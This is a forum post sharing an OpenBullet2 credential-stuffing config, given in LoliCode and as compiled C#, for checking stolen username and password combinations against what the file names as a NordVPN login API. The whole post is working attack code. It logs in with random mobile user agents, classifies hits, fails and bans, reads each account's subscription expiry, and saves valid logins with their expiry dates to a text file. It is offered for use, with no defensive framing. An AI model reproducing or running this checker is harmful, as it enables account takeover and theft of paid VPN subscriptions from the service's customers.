Topic starter
Link:
LoliCode
BLOCK:RandomUserAgent platform = Mobile => VAR @UserAgent ENDBLOCK BLOCK:HttpRequest url = "https://zwyr157wwiu6eior.com/v1/users/tokens" method = POST customHeaders = ${("User-Agent", "<UserAgent>"), ("Pragma", "no-cache"), ("Accept", "*/*")} TYPE:STANDARD $"username=<input.USER>&password=<input.PASS>" "application/x-www-form-urlencoded" ENDBLOCK BLOCK:Keycheck KEYCHAIN FAIL OR STRINGKEY @data.SOURCE Contains "\"errors\":" KEYCHAIN SUCCESS OR STRINGKEY @data.SOURCE Contains "\"token\":\"" KEYCHAIN RETRY OR STRINGKEY @data.SOURCE Contains "<center>nginx</center>" ENDBLOCK BLOCK:Parse input = @data.SOURCE jToken = "token" MODE:Json => VAR @token ENDBLOCK BLOCK:Base64Encrypt Input = $"token:<token>" => VAR @tokenen ENDBLOCK BLOCK:HttpRequest url = "https://zwyr157wwiu6eior.com/v1/users/services" customHeaders = ${("User-Agent", "<UserAgent>"), ("Authorization", "Basic <tokenen>")} TYPE:STANDARD $"" "application/x-www-form-urlencoded" ENDBLOCK BLOCK:Parse input = @data.SOURCE leftDelim = "\"expires_at\":\"" rightDelim = " " MODE:LR => CAP @ex ENDBLOCK BLOCK:DateToUnixTime datetime = $"<ex>" format = "yyyy-MM-dd" => VAR @ToUnixTime ENDBLOCK BLOCK:CurrentUnixTime => VAR @UnixTime ENDBLOCK BLOCK:Keycheck KEYCHAIN CUSTOM OR INTKEY @UnixTime GreaterThan @ToUnixTime KEYCHAIN SUCCESS OR INTKEY @ToUnixTime GreaterThan @UnixTime ENDBLOCK BLOCK:FileAppendLines path = "NORD VPN.txt" lines = $["<input.USER>:<input.PASS> | NGÀY HẾT HẠN:<ex>"] ENDBLOCK
C#
// BLOCK: Random User Agent data.ExecutingBlock("Random User Agent"); string UserAgent = RandomUserAgent(data, RuriLib.Providers.UserAgents.UAPlatform.Mobile); // BLOCK: Http Request data.ExecutingBlock("Http Request"); await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = $"username={input.USER}&password={input.PASS}", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = "https://zwyr157wwiu6eior.com/v1/users/tokens", Method = RuriLib.Functions.Http.HttpMethod.POST, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{$"User-Agent", $"{UserAgent}"}, {$"Pragma", $"no-cache"}, {$"Accept", $"*/*"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false); // BLOCK: Keycheck data.ExecutingBlock("Keycheck"); if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "\"errors\":")) { data.STATUS = "FAIL"; return; } else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "\"token\":\"")) { data.STATUS = "SUCCESS"; } else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "<center>nginx</center>")) { data.STATUS = "RETRY"; return; } else { data.STATUS = "BAN"; return; } if (CheckGlobalBanKeys(data)) { data.STATUS = "BAN"; return; } if (CheckGlobalRetryKeys(data)) { data.STATUS = "RETRY"; return; } // BLOCK: Parse data.ExecutingBlock("Parse"); var token = QueryJsonToken(data, data.SOURCE.AsString(), "token", "", "", false); // BLOCK: Base64 Encrypt data.ExecutingBlock("Base64 Encrypt"); string tokenen = Base64Encrypt(data, $"token:{token}"); // BLOCK: Http Request data.ExecutingBlock("Http Request"); await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = $"", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = "https://zwyr157wwiu6eior.com/v1/users/services", Method = RuriLib.Functions.Http.HttpMethod.GET, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{$"User-Agent", $"{UserAgent}"}, {$"Authorization", $"Basic {tokenen}"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false); // BLOCK: Parse data.ExecutingBlock("Parse"); var ex = ParseBetweenStrings(data, data.SOURCE.AsString(), "\"expires_at\":\"", " ", true, "", "", false); data.MarkForCapture(nameof(ex)); // BLOCK: Date To Unix Time data.ExecutingBlock("Date To Unix Time"); int ToUnixTime = DateToUnixTime(data, $"{ex}", "yyyy-MM-dd"); // BLOCK: Current Unix Time data.ExecutingBlock("Current Unix Time"); int UnixTime = CurrentUnixTime(data, false); // BLOCK: Keycheck data.ExecutingBlock("Keycheck"); if (CheckCondition(data, UnixTime.AsInt(), NumComparison.GreaterThan, ToUnixTime.AsInt())) { data.STATUS = "CUSTOM"; return; } else if (CheckCondition(data, ToUnixTime.AsInt(), NumComparison.GreaterThan, UnixTime.AsInt())) { data.STATUS = "SUCCESS"; } else { data.STATUS = "BAN"; return; } if (CheckGlobalBanKeys(data)) { data.STATUS = "BAN"; return; } if (CheckGlobalRetryKeys(data)) { data.STATUS = "RETRY"; return; } // BLOCK: File Append Lines data.ExecutingBlock("File Append Lines"); await FileAppendLines(data, "NORD VPN.txt", new List<string>{$"{input.USER}:{input.PASS} | NGÀY HẾT HẠN:{ex}"}, RuriLib.Blocks.Utility.Files.FileEncoding.UTF8).ConfigureAwait(false);
This topic was modified 2 năm trước 2 times by Unknown
Đã đăng : 07/01/2023 5:34 chiều